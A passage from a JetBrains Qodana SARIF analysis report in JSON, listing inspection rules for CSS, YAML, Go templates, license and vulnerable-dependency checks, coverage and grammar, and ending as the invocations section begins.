\"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssReplaceWithShorthandSafely\",\n                \"shortDescription\": {\n                  \"text\": \"Properties may be safely replaced with a shorthand\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a set of longhand properties. Suggests replacing a complete set of longhand CSS properties with an equivalent shorthand form. For example, 4 properties: 'padding-top', 'padding-right', 'padding-bottom', and 'padding-left' can be safely replaced with a single 'padding' property. Note that this inspection doesn't show up if the set of longhand properties is incomplete (e.g. only 3 'padding-xxx' properties in a ruleset) because switching to a shorthand may change the result. For such cases consider the 'Properties may probably be replaced with a shorthand' inspection.\",\n                  \"markdown\": \"Reports a set of longhand properties. Suggests replacing a complete set of longhand CSS properties with an equivalent shorthand form.\\n\\n\\nFor example, 4 properties: `padding-top`, `padding-right`, `padding-bottom`, and\\n`padding-left`\\ncan be safely replaced with a single `padding` property.\\n\\n\\nNote that this inspection doesn't show up if the set of longhand properties is incomplete\\n(e.g. only 3 `padding-xxx` properties in a ruleset)\\nbecause switching to a shorthand may change the result.\\nFor such cases consider the 'Properties may probably be replaced with a shorthand'\\ninspection.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssReplaceWithShorthandSafely\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS\",\n                      \"index\": 25,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssUnknownProperty\",\n                \"shortDescription\": {\n                  \"text\": \"Unknown property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unknown CSS property or a property used in a wrong context. Add the unknown property to the 'Custom CSS properties' list to skip validation.\",\n                  \"markdown\": \"Reports an unknown CSS property or a property used in a wrong context.\\n\\nAdd the unknown property to the 'Custom CSS properties' list to skip validation.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssUnknownProperty\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidPseudoSelector\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid pseudo-selector\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an incorrect CSS pseudo-class pseudo-element.\",\n                  \"markdown\": \"Reports an incorrect CSS [pseudo-class](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes) [pseudo-element](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidPseudoSelector\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidNestedSelector\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid nested selector\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a nested selector starting with an identifier or a functional notation.\",\n                  \"markdown\": \"Reports a nested selector starting with an identifier or a functional notation.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidNestedSelector\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"com.intellij.plugins.dependencyAnalysis\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"CheckThirdPartySoftwareList\",\n                \"shortDescription\": {\n                  \"text\": \"Check third party software list\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Check project for possible problems: user's third party software list does not match the collected project metadata\",\n                  \"markdown\": \"Check project for possible problems: user's third party software list does not match the collected project metadata\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CheckThirdPartySoftwareList\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Dependency analysis\",\n                      \"index\": 30,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CheckDependencyLicenses\",\n                \"shortDescription\": {\n                  \"text\": \"Check dependency licenses\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Check dependencies licenses for possible problems: missing or prohibited licenses, or other compliance issues\",\n                  \"markdown\": \"Check dependencies licenses for possible problems: missing or prohibited licenses, or other compliance issues\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CheckDependencyLicenses\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Dependency analysis\",\n                      \"index\": 30,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CheckModuleLicenses\",\n                \"shortDescription\": {\n                  \"text\": \"Check module licenses\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Check module licenses for possible problems: missing licenses or other compliance issues\",\n                  \"markdown\": \"Check module licenses for possible problems: missing licenses or other compliance issues\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CheckModuleLicenses\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Dependency analysis\",\n                      \"index\": 30,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"org.jetbrains.plugins.yaml\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"YAMLSchemaValidation\",\n                \"shortDescription\": {\n                  \"text\": \"Validation by JSON Schema\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports inconsistencies between a YAML file and a JSON Schema if the schema is specified. Scheme example: '{\\n    \\\"properties\\\": {\\n      \\\"SomeNumberProperty\\\": {\\n        \\\"type\\\": \\\"number\\\"\\n      }\\n    }\\n  }' The following is an example with the corresponding warning: 'SomeNumberProperty: hello world'\",\n                  \"markdown\": \"Reports inconsistencies between a YAML file and a JSON Schema if the schema is specified.\\n\\n**Scheme example:**\\n\\n\\n      {\\n        \\\"properties\\\": {\\n          \\\"SomeNumberProperty\\\": {\\n            \\\"type\\\": \\\"number\\\"\\n          }\\n        }\\n      }\\n\\n**The following is an example with the corresponding warning:**\\n\\n\\n      SomeNumberProperty: hello world\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"YAMLSchemaValidation\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"YAML\",\n                      \"index\": 32,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"YAMLIncompatibleTypes\",\n                \"shortDescription\": {\n                  \"text\": \"Suspicious type mismatch\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a mismatch between a scalar value type in YAML file and types of the values in the similar positions. Example: 'myElements:\\n  - value1\\n  - value2\\n  - false # <- reported, because it is a boolean value, while other values are strings'\",\n                  \"markdown\": \"Reports a mismatch between a scalar value type in YAML file and types of the values in the similar positions.\\n\\n**Example:**\\n\\n\\n    myElements:\\n      - value1\\n      - value2\\n      - false # <- reported, because it is a boolean value, while other values are strings\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"YAMLIncompatibleTypes\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"YAML\",\n                      \"index\": 32,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"YAMLUnresolvedAlias\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved alias\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unresolved aliases in YAML files. Example: 'some_key: *unknown_alias'\",\n                  \"markdown\": \"Reports unresolved aliases in YAML files.\\n\\n**Example:**\\n\\n\\n      some_key: *unknown_alias\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"YAMLUnresolvedAlias\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"YAML\",\n                      \"index\": 32,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"YAMLSchemaDeprecation\",\n                \"shortDescription\": {\n                  \"text\": \"Deprecated YAML key\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports deprecated keys in YAML files. Deprecation is checked only if there exists a JSON schema associated with the corresponding YAML file. Note that the deprecation mechanism is not defined in the JSON Schema specification yet, and this inspection uses a non-standard 'deprecationMessage' extension. Scheme deprecation example: '{\\n    \\\"properties\\\": {\\n      \\\"SomeDeprecatedProperty\\\": {\\n        \\\"deprecationMessage\\\": \\\"Baz\\\",\\n        \\\"description\\\": \\\"Foo bar\\\"\\n      }\\n    }\\n  }' The following is an example with the corresponding warning: 'SomeDeprecatedProperty: some value'\",\n                  \"markdown\": \"Reports deprecated keys in YAML files.\\n\\nDeprecation is checked only if there exists a JSON schema associated with the corresponding YAML file.\\n\\nNote that the deprecation mechanism is not defined in the JSON Schema specification yet,\\nand this inspection uses a non-standard `deprecationMessage` extension.\\n\\n**Scheme deprecation example:**\\n\\n\\n      {\\n        \\\"properties\\\": {\\n          \\\"SomeDeprecatedProperty\\\": {\\n            \\\"deprecationMessage\\\": \\\"Baz\\\",\\n            \\\"description\\\": \\\"Foo bar\\\"\\n          }\\n        }\\n      }\\n\\n**The following is an example with the corresponding warning:**\\n\\n\\n      SomeDeprecatedProperty: some value\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"YAMLSchemaDeprecation\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"YAML\",\n                      \"index\": 32,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"YAMLRecursiveAlias\",\n                \"shortDescription\": {\n                  \"text\": \"Recursive alias\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports recursion in YAML aliases. Alias can't be recursive and be used inside the data referenced by a corresponding anchor. Example: 'some_key: &some_anchor\\n    sub_key1: value1\\n    sub_key2: *some_anchor'\",\n                  \"markdown\": \"Reports recursion in YAML aliases.\\n\\nAlias can't be recursive and be used inside the data referenced by a corresponding anchor.\\n\\n**Example:**\\n\\n\\n      some_key: &some_anchor\\n        sub_key1: value1\\n        sub_key2: *some_anchor\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"YAMLRecursiveAlias\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"YAML\",\n                      \"index\": 32,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"YAMLDuplicatedKeys\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicated YAML keys\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports duplicated keys in YAML files. Example: 'same_key: some value\\n  same_key: another value'\",\n                  \"markdown\": \"Reports duplicated keys in YAML files.\\n\\n**Example:**\\n\\n\\n      same_key: some value\\n      same_key: another value\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"YAMLDuplicatedKeys\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"YAML\",\n                      \"index\": 32,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"YAMLUnusedAnchor\",\n                \"shortDescription\": {\n                  \"text\": \"Unused anchor\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unused anchors. Example: 'some_key: &some_anchor\\n    key1: value1'\",\n                  \"markdown\": \"Reports unused anchors.\\n\\n**Example:**\\n\\n\\n      some_key: &some_anchor\\n        key1: value1\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"YAMLUnusedAnchor\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"YAML\",\n                      \"index\": 32,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"org.jetbrains.security.package-checker\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"GoVulnerableCodeUsages\",\n                \"shortDescription\": {\n                  \"text\": \"Vulnerable API usage\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports usages of Vulnerable APIs of imported dependencies. Fixing the reported problems helps prevent your software from being compromised by an attacker. To solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability. Vulnerability data provided by Checkmarx (c).\",\n                  \"markdown\": \"Reports usages of Vulnerable APIs of imported dependencies.\\n\\nFixing the reported problems helps prevent your software from being compromised by an attacker.\\n\\nTo solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability.\\n\\nVulnerability data provided by [Checkmarx](https://checkmarx.com/) (c).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVulnerableCodeUsages\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Security\",\n                      \"index\": 36,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"VulnerableLibrariesLocal\",\n                \"shortDescription\": {\n                  \"text\": \"Vulnerable declared dependency\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports vulnerabilities in Gradle, Maven, NPM and PyPI dependencies declared in your project. A full list of Gradle and Maven dependencies is shown in the Project tool window under External Libraries. Fixing the reported problems helps prevent your software from being compromised by an attacker. To solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability. The quick-fixes available may suggest updating to a safe version or visiting the Checkmarx website to learn more about a particular vulnerability. Vulnerability data provided by Checkmarx (c).\",\n                  \"markdown\": \"Reports vulnerabilities in Gradle, Maven, NPM and PyPI dependencies declared in your project.\\nA full list of Gradle and Maven dependencies is shown in the Project tool window under External Libraries.\\n\\nFixing the reported problems helps prevent your software from being compromised by an attacker.\\n\\nTo solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability.\\n\\nThe quick-fixes available may suggest updating to a safe version or visiting the Checkmarx website to learn more about a particular vulnerability.\\n\\nVulnerability data provided by [Checkmarx](https://checkmarx.com/) (c).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"VulnerableLibrariesLocal\",\n                    \"cweIds\": [\n                      1395\n                    ],\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Security\",\n                      \"index\": 55,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NpmVulnerableApiCode\",\n                \"shortDescription\": {\n                  \"text\": \"Vulnerable API usage\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports usages of Vulnerable APIs of imported dependencies. Fixing the reported problems helps prevent your software from being compromised by an attacker. To solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability. Vulnerability data provided by Checkmarx (c).\",\n                  \"markdown\": \"Reports usages of Vulnerable APIs of imported dependencies.\\n\\nFixing the reported problems helps prevent your software from being compromised by an attacker.\\n\\nTo solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability.\\n\\nVulnerability data provided by [Checkmarx](https://checkmarx.com/) (c).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NpmVulnerableApiCode\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Security\",\n                      \"index\": 60,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"org.intellij.intelliLang\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"InjectedReferences\",\n                \"shortDescription\": {\n                  \"text\": \"Injected references\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unresolved references injected by Language Injections. Example: '@Language(\\\"file-reference\\\")\\n    String fileName = \\\"/home/user/nonexistent.file\\\"; // highlighted if file doesn't exist'\",\n                  \"markdown\": \"Reports unresolved references injected by [Language Injections](https://www.jetbrains.com/help/idea/using-language-injections.html).\\n\\nExample:\\n\\n\\n        @Language(\\\"file-reference\\\")\\n        String fileName = \\\"/home/user/nonexistent.file\\\"; // highlighted if file doesn't exist\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"InjectedReferences\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"org.jetbrains.plugins.go-template\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"GoTemplateUnknownVariable\",\n                \"shortDescription\": {\n                  \"text\": \"Unknown variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports usages of unknown variables in Go Templates. Parsing of such templates will cause panic because variables must be declared before usage. Example: '{{$v}} is zero. {{/* bad, $v is unknown */}}\\n{{$v := 0}}{{$v}} is zero. {{/* good */}}'\",\n                  \"markdown\": \"Reports usages of unknown variables in Go Templates.\\n\\nParsing of such templates will cause panic because variables must be declared before usage.\\n\\nExample:\\n\\n    {{$v}} is zero. {{/* bad, $v is unknown */}}\\n    {{$v := 0}}{{$v}} is zero. {{/* good */}}\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoTemplateUnknownVariable\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go Template/General\",\n                      \"index\": 41,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoTemplateDuplicateVariable\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports duplicate Go Template variables that are declared in the same scope. Duplicating a variable reassigns the existing variable with the same name. This operation might lead to different unpredicatable issues. Example: '{{$v := 0}}{{$v := 1}}{{$v}} is 0. {{/* evaluates to '1 is 0' */}}\\n{{$v := 0}}{{$w := 1}}{{$v}} is 0. {{/* works as expected */}}'\",\n                  \"markdown\": \"Reports duplicate Go Template variables that are declared in the same scope.\\n\\nDuplicating a variable reassigns the existing variable with the same name. This operation might lead to different\\nunpredicatable issues.\\n\\nExample:\\n\\n    {{$v := 0}}{{$v := 1}}{{$v}} is 0. {{/* evaluates to '1 is 0' */}}\\n    {{$v := 0}}{{$w := 1}}{{$v}} is 0. {{/* works as expected */}}\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoTemplateDuplicateVariable\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go Template/General\",\n                      \"index\": 41,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"org.intellij.qodana\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"GoCoverageInspection\",\n                \"shortDescription\": {\n                  \"text\": \"Check GO source code coverage\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports methods and files whose coverage is below a certain threshold.\",\n                  \"markdown\": \"Reports methods and files whose coverage is below a certain threshold.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoCoverageInspection\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Code Coverage\",\n                      \"index\": 44,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"QodanaSanity\",\n                \"shortDescription\": {\n                  \"text\": \"Sanity\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports issues essential to this file like syntax errors, unresolved methods and variables, etc...\",\n                  \"markdown\": \"Reports issues essential to this file like syntax errors, unresolved methods and variables, etc...\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"QodanaSanity\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Qodana\",\n                      \"index\": 59,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"tanvd.grazi\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"LanguageDetectionInspection\",\n                \"shortDescription\": {\n                  \"text\": \"Natural language detection\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Detects natural languages and suggests enabling corresponding grammar and spelling checks.\",\n                  \"markdown\": \"Detects natural languages and suggests enabling corresponding grammar and spelling checks.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"LanguageDetectionInspection\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Proofreading\",\n                      \"index\": 52,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GrazieInspection\",\n                \"shortDescription\": {\n                  \"text\": \"Grammar\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports grammar mistakes in your text. You can configure the inspection in Settings | Editor | Natural Languages | Grammar.\",\n                  \"markdown\": \"Reports grammar mistakes in your text. You can configure the inspection in [Settings \\\\| Editor \\\\| Natural Languages \\\\| Grammar](settings://reference.settingsdialog.project.grazie).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GrazieInspection\",\n                    \"ideaSeverity\": \"GRAMMAR_ERROR\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Proofreading\",\n                      \"index\": 52,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          }\n        ]\n      },\n      \"invocations\": [\n        {\n          \"startTimeUtc\": \"2023-12-26T19:18:57.07910665Z\",\n          \"exitCode\": 0,\n          \"toolExecutionNotifications\": [\n            